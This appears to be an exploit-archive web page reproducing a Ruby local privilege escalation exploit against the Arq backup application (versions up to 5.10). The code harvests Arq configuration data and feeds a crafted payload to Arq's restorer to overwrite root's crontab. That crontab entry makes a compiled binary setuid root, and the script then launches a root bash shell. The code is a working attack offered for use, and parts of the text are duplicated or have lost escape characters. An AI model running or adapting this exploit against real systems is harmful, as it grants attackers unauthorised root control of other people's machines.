Get Rid of Ads!

Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

#!/usr/bin/env ruby

#################################################################
###### Arq <= 5.10 local root privilege escalation exploit ######
###### by m4rkw - h #!/usr/bin/env ruby

#################################################################
###### Arq <= 5.10 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
#################################################################
###### ######
###### Usage: ######
###### ######
###### ./arq_5.10.rb # stage 1 ######
###### ######
###### (wait for next Arq backup run) ######
###### ######
###### ./arq_5.10.rb # stage 2 ######
###### ######
###### if you know the HMAC from a previous run: ######
###### ######
###### ./arq_5.10.rb stage2 <hmac> ######
###### ######
#################################################################
###### USE AT YOUR OWN RISK - THIS WILL OVERWRITE THE ROOT ######
###### USER'S CRONTAB! ######
#################################################################

$binary_target = "/tmp/arq_510_exp"

class Arq510PrivEsc
def initialize(args)
@payload_file = ".arq_510_exp_payload"
@hmac_file = ENV["HOME"] + "/.arq_510_exp_hmac"
@backup_file = ENV["HOME"] + "/" + @payload_file

@target = shell("ls -1t ~/Library/Arq/Cache.noindex/ |head -n1")
@bucket_uuid = shell("grep 'writing head blob key' " +
"~/Library/Logs/arqcommitter/* |tail -n1 |sed 's/^.*key //' |cut -d " +
"' ' -f4")
@computer_uuid = shell("cat ~/Library/Arq/config/app_config.plist |grep " +
"-A1 #{@target} |tail -n1 |xargs |cut -d '>' -f2 |cut -d '<' -f1")
@backup_endpoint = shell("cat ~/Library/Arq/config/targets/#{@target}.target " +
"|grep -A1 '>endpointDescription<' |tail -n1 |xargs |cut -d '>' -f2 " +
"| cut -d '<' -f1")
@latest_backup_set = latest_backup_set

puts " target: #{@target}"
puts " bucket uuid: #{@bucket_uuid}"
puts " computer uuid: #{@computer_uuid}"
puts "backup endpoint: #{@backup_endpoint}"
puts " latest backup: #{@latest_backup_set} "

if args.length >0
method = args.shift
if respond_to? method
send method, *args
end
else
if File.exist? @hmac_file
method = :stage2
else
method = :stage1
end

send method
end
end

def shell(command)
`#{command}`.chomp
end

def latest_backup_set
shell("grep 'writing head blob' ~/Library/Logs/arqcommitter/* |tail -n1 " +
"|sed 's/.*key //' |cut -d ' ' -f1")
end

def scan_hmac_list
packsets_path = shell("find ~/Library/Arq/ -type d -name packsets")
hmac = {}

shell("strings #{packsets_path}/*-trees.db").split(" ").each do |line|
if (m = line.match(/[0-9a-fA-F]+/)) and m[0].length == 40
if !hmac.include? m[0]
hmac[m[0]] = 1
end
end
end

hmac
end

def stage1
print "building HMAC cache... "

hmac = scan_hmac_list

File.open(@hmac_file, "w") do |f|
f.write(@latest_backup_set + " " + hmac.keys.join(" "))
end

puts "done - stored at #{@hmac_file}"

print "dropping backup file... "

File.open(@backup_file, "w") do |f|
f.write("* * * * * /usr/sbin/chown root:wheel #{$binary_target} &&" +
"/bin/chmod 4755 #{$binary_target} ")
end

puts "done"
puts "wait for the next backup run to complete and then run again"
end

def stage2(target_hmac=nil)
if !target_hmac
if !File.exist? @hmac_file
raise "hmac list not found."
end

print "loading HMAC cache... "

data = File.read(@hmac_file).split(" ")

puts "done"

initial_backup_set = data.shift

if initial_backup_set == @latest_backup_set
puts "no new backup created yet"
exit 1
end

hmac = {}
data.each do |h|
hmac[h] = 1
end

hmac_targets = []

print "scanning for HMAC targets... "

scan_hmac_list.keys.each do |h|
if !hmac[h]
hmac_targets.push h
end
end

puts "done"

if hmac_targets.length == 0
puts "no HMAC targets, unable to continue."
exit 0
end

puts "found #{hmac_targets.length} HMAC targets"

hmac_targets.each do |hmac|
attempt_exploit(hmac)
end
else
attempt_exploit(target_hmac)
end
end

def build_payload(hmac)
d = "x01x00x00x00x00x00x00x00"
e = "x00x00x00x00x03"

@overwrite_path = '/var/at/tabs/root'

plist = "
<plist version="1.0">
<dict>
<key>Endpoint</key>
<string>#{@backup_endpoint}</string>
<key>BucketUUID</key>
<string>#{@bucket_uuid}</string>
<key>BucketName</key>
<string>/</string>
<key>ComputerUUID</key>
<string>#{@computer_uuid}</string>
<key>LocalPath</key>
<string>/</string>
<key>LocalMountPoint</key>
<string>/</string>
<key>StorageType</key>
<integer>1</integer>
<key>SkipDuringBackup</key>
<false></false>
<key>ExcludeItemsWithTimeMachineExcludeMetadataFlag</key>
<false></false>
</dict>
</plist>"

hex = plist.length.to_s(16).rjust(4,'0')
plist_size = (hex[0,2].to_i(16).chr + hex[2,2].to_i(16).chr)

pfl = @payload_file.length.chr
opl = @overwrite_path.length.chr
bel = @backup_endpoint.length.chr

payload = sprintf(
(
"%s$%s%s%s%sx00x00x00x01x00x00x00x00x00x00x00x02x00x00" +
"x00x00x00x00x00x09x00x00x02xd0x96x82xefxd8x00x00x00" +
"x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x08x30" +
"x2ex30x30x30x30x30x30x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00%s%s%sx28%sx01x00x00x00%s" +
"x00x00x00%s%s%sx00x00x00x16x00x00x00x02%sx28%sx01x00" +
"x00x00%sx00x00x00%s%s%sx00x00x00x00x00x00x01xf5x00x00" +
"x00x00x00x00x00x14x00%s%s%sx00x00x00x03%sx0a"
).force_encoding('ASCII-8BIT'),
d, @target,
d, bel, @backup_endpoint,
plist_size, plist,
d, @latest_backup_set,
d, d, pfl, @payload_file,
d, hmac,
d, d, pfl, @payload_file,
d, opl, @overwrite_path,
e * 10
)

return payload
end

def attempt_exploit(hmac)
print "trying HMAC: #{hmac} ... "

File.open("/tmp/.arq_exp_510_payload","w") do |f|
f.write(build_payload(hmac))
end

output = shell("cat /tmp/.arq_exp_510_payload | " +
"/Applications/Arq.app/Contents/Resources/standardrestorer 2>/dev/null")

File.delete("/tmp/.arq_exp_510_payload")

if output.include?("Creating directory structure") and !output.include?("failed")
puts "SUCCESS"

print "compiling shell invoker... "

shellcode = "#include <unistd.h> int main() { setuid(0);setgid(0);" +
"execl("/bin/bash","bash","-c","rm -f #{$binary_target};rm -f " +
"/var/at/tabs/root;/bin/bash","+ "NULL);return 0; }"

IO.popen("gcc -xc -o #{$binary_target} -", mode="r+") do |io|
io.write(shellcode)
io.close
end

puts "done"

print "waiting for root+s... "

timeout = 61
i = 0
stop = false

while i < timeout
s = File.stat($binary_target)

if s.mode == 0104755 and s.uid == 0
puts " "
exec($binary_target)
end

sleep 1
i += 1

if !stop
left = 60 - Time.now.strftime("%S").to_i
left == 1 && stop = true

print "#{left} "
end
end

puts "exploit failed"
exit 0
else
puts "FAIL"
end
end
end

Arq510PrivEsc.new(ARGV)